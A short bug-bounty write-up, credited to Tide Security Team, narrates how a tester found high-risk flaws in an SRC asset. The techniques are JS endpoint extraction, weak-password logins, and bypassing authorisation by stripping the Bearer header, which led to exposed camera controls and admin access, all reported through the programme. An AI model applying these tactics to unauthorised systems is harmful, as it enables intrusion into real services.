How I Uncovered High‑Risk Vulnerabilities in an SRC Asset

While exploring a newly added SRC asset, the author began by examining the login page and fuzzing all extracted JavaScript API endpoints for unauthorised access, password reset, SQL injection, credential leakage, username enumeration, and weak passwords. No obvious data leaks appeared at first.

Assuming that providing a valid userId might retrieve sensitive user data, the author tried several values (e.g., 11111111, 1, admin) without success, prompting a shift to broader asset enumeration across the internet.

Through lateral movement, the author discovered a system protected only by a weak password. Inside, a long userid string was found, but further requests returned limited information.

Continuing the hunt, a newly loaded JavaScript file named abcdindex.js leaked numerous route definitions. By parsing accompanying mulu.json files, the author reconstructed base URLs and backend endpoints for multiple subsystems.

Automated enumeration of these endpoints revealed a generic unauthorised‑access flaw that exposed hundreds of video‑camera control permissions.

The vulnerability was reported and classified as high‑risk. Recognising that many interfaces still suffered from missing userId checks (type A) or absent authorisation headers (type B), the author demonstrated that stripping the Authorization: Bearer header from requests triggered the same unauthorised responses, effectively bypassing access controls.

By fuzzing parameters with the collected user IDs, the author successfully retrieved additional data, eventually gaining administrator‑level access across several management modules and uncovering further weak‑password accounts.

Although the project was closed before all findings could be submitted, the author notes that similar SRC assets are often heavily examined, making straightforward JS‑endpoint extraction less fruitful; however, creative re‑thinking and deeper traversal can still uncover hidden, high‑impact flaws.

Source: Tide Security Team